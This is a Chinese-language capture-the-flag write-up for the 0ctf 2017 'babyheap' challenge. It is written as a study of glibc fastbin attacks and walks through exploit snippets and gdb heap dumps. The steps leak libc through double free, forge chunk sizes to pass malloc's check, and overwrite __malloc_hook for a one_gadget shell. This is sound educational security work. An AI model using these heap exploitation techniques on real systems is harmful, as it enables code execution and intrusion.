0ctf2017 - babyheap

Introduction

学习 how2heap 中 fastbin attack 的知识点

babyheap

考察的知识点:

利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力。

Analysis

file 0ctfbabyheap 

0ctfbabyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped

checksec 0ctfbabyheap 

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序保护全开,并且没有 debug symbols。

$ ./0ctfbabyheap 
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 
  • Allocate - 调用 calloc 分配小于 0x1000 大小的内存,calloc 分配的 chunk 会被清空。
  • Fill - 填充任意大小的内存,意味着可以覆盖其它 chunk。
  • Free - 释放一块 chunk。
  • Dump - 输出限制大小的 chunk 内容。

Leak Libc

程序没有 uaf ,内存被释放后无法查看其中内容,可以通过 double free 获得指向 small bin 的 index,将其释放后 dump 出来。

首先分配一系列相同大小的 fast chunk,再分配一个 small chunk,释放掉其中一个 fast chunk。

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)

free(1)

此时我们查看一下堆内存,和 main_arena。

0x5591e2494000:	0x00000000	0x00000000	0x00000021	0x00000000	<--- chunk 0 (fastbin, in use)
0x5591e2494010:	0x00000000	0x00000000	0x00000000	0x00000000
0x5591e2494020:	0x00000000	0x00000000	0x00000021	0x00000000	<--- chunk 1 (fastbin, free)
0x5591e2494030:	0x00000000	0x00000000	0x00000000	0x00000000
0x5591e2494040:	0x00000000	0x00000000	0x00000021	0x00000000	<--- chunk 2 (fastbin, in use)
0x5591e2494050:	0x00000000	0x00000000	0x00000000	0x00000000
0x5591e2494060:	0x00000000	0x00000000	0x00000021	0x00000000	<--- chunk 3 (fastbin, in use)
0x5591e2494070:	0x00000000	0x00000000	0x00000000	0x00000000
0x5591e2494080:	0x00000000	0x00000000	0x00000091	0x00000000	<--- chunk 4 (smallbin, in use)
0x5591e2494090:	0x00000000	0x00000000	0x00000000	0x00000000

gdb-peda$ x/32xw &main_arena
0x7f9f952dfb20 <main_arena>:	0x00000000	0x00000000	0xe2494020	0x00005591	<--- fastbin[0]
0x7f9f952dfb30 <main_arena+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb40 <main_arena+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb50 <main_arena+48>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb60 <main_arena+64>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb70 <main_arena+80>:	0x00000000	0x00000000	0xe2494110	0x00005591
0x7f9f952dfb80 <main_arena+96>:	0x00000000	0x00000000	0x952dfb78	0x00007f9f
0x7f9f952dfb90 <main_arena+112>:	0x952dfb78	0x00007f9f	0x952dfb88	0x00007f9f

释放的那个 fast chunk 被放入到 fastbin 中,fastbin 为单链表形式,如果再释放一个 fast chunk,将其插入 fastbin 的头部,释放的第二个 chunk 其 fd 会被设置成第一个 chunk 的地址。

free(2)

gdb-peda$ x/128xw 0x000055e7126bf000
0x5591e2494000:	0x00000000	0x00000000	0x00000021	0x00000000
0x5591e2494010:	0x00000000	0x00000000	0x00000000	0x00000000
0x5591e2494020:	0x00000000	0x00000000	0x00000021	0x00000000
0x5591e2494030:	0x00000000	0x00000000	0x00000000	0x00000000
0x5591e2494040:	0x00000000	0x00000000	0x00000021	0x00000000
0x5591e2494050:	0xe2494020	0x00005591	0x00000000	0x00000000
0x5591e2494060:	0x00000000	0x00000000	0x00000021	0x00000000
0x5591e2494070:	0x00000000	0x00000000	0x00000000	0x00000000
0x5591e2494080:	0x00000000	0x00000000	0x00000091	0x00000000
0x5591e2494090:	0x00000000	0x00000000	0x00000000	0x00000000

gdb-peda$ x/32xw &main_arena
0x7f9f952dfb20 <main_arena>:	0x00000000	0x00000000	0xe2494040	0x00005591	<--- 最新释放的 chunk
0x7f9f952dfb30 <main_arena+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb40 <main_arena+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb50 <main_arena+48>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb60 <main_arena+64>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb70 <main_arena+80>:	0x00000000	0x00000000	0xe2494110	0x00005591
0x7f9f952dfb80 <main_arena+96>:	0x00000000	0x00000000	0x952dfb78	0x00007f9f
0x7f9f952dfb90 <main_arena+112>:	0x952dfb78	0x00007f9f	0x952dfb88	0x00007f9f

此时使用 fill 覆盖 fastbin 头部 chunk 的 fd 值,将其改写成 small chunk 的地址,那么通过两次 alloc,先将 small chunk 放入 fastbin,再将其取出来,获得指向它的 index。要这么做必须绕过 malloc 的安全检查:

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
}

查看其 chunksize 与相应的 fastbin_index 是否匹配,实际上 chunksize 的计算方法是 victim->size & ~(SIZE_BITS)),而它对应的 index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,这里 64位的平台对应的 SIZE_SZ 是8,则 fastbin_index 为 (size >> 4) - 2,那么我们将 small chunk 的 size 域改写成 0x21 即可。

payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)

alloc(0x10)
alloc(0x10)

0x302f529d7e40:	0x00000001	0x00000000	0x00000010	0x00000000
0x302f529d7e50:	0xe2494010	0x00005591	0x00000001	0x00000000
0x302f529d7e60:	0x00000010	0x00000000	0xe2494050	0x00005591
0x302f529d7e70:	0x00000001	0x00000000	0x00000010	0x00000000
0x302f529d7e80:	0xe2494090	0x00005591	0x00000001	0x00000000
0x302f529d7e90:	0x00000010	0x00000000	0xe2494070	0x00005591
0x302f529d7ea0:	0x00000001	0x00000000	0x00000080	0x00000000
0x302f529d7eb0:	0xe2494090	0x00005591	0x00000000	0x00000000

可以看到 index[2] 存放的是 small chunk 的地址,此时将 small chunk 的 size 改写回来,将其释放掉就可以 dump 出来了。

Exploit

获得了 libc 地址,我们可以使用 fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后 malloc 出来,这样就可已改写 libc 的内容。__malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 __malloc_hook 来 getshell。

 void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
gdb-peda$ x/32xw (long long)(&main_arena)-0x40
0x7f9f952dfae0 <_IO_wide_data_0+288>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfaf0 <_IO_wide_data_0+304>:	0x952de260	0x00007f9f	0x00000000	0x00000000
0x7f9f952dfb00 <__memalign_hook>:	0x94fa0e20	0x00007f9f	0x94fa0a00	0x00007f9f
0x7f9f952dfb10 <__malloc_hook>:	0x00000000	0x00000000	0x00000000	0x00000000	<--- target
0x7f9f952dfb20 <main_arena>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb30 <main_arena+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb40 <main_arena+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb50 <main_arena+48>:	0x00000000	0x00000000	0x00000000	0x00000000

同样的,这里我们也要绕过 malloc 的安全检查,chunksize 必须与 fastbin_index 相对应,初看 __malloc_hook 附近没有合适的 chunksize,这里需要巧妙的偏移一下。

gdb-peda$ x/32xw (long long)(&main_arena)-0x40+0xd
0x7f9f952dfaed <_IO_wide_data_0+301>:	0x60000000	0x9f952de2	0x0000007f	0x00000000
0x7f9f952dfafd:	0x20000000	0x9f94fa0e	0x0000007f	0x9f94fa0a
0x7f9f952dfb0d <__realloc_hook+5>:	0x0000007f	0x00000000	0x00000000	0x00000000
0x7f9f952dfb1d:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb2d <main_arena+13>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb3d <main_arena+29>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb4d <main_arena+45>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7f9f952dfb5d <main_arena+61>:	0x00000000	0x00000000	0x00000000	0x00000000

可以看到以这个地址作为 chunk 指针即可构造出 index 为 5 的 fastbin,那么我们就可以成功的改写 __malloc_hook了,现在只差可执行代码。

这里介绍一个神奇的工具 one gadget,只用一个 gadget 地址就可以成功调用 execve(“/bin/sh”)。

最后给出完整的 exploit 代码 exp.py

Reference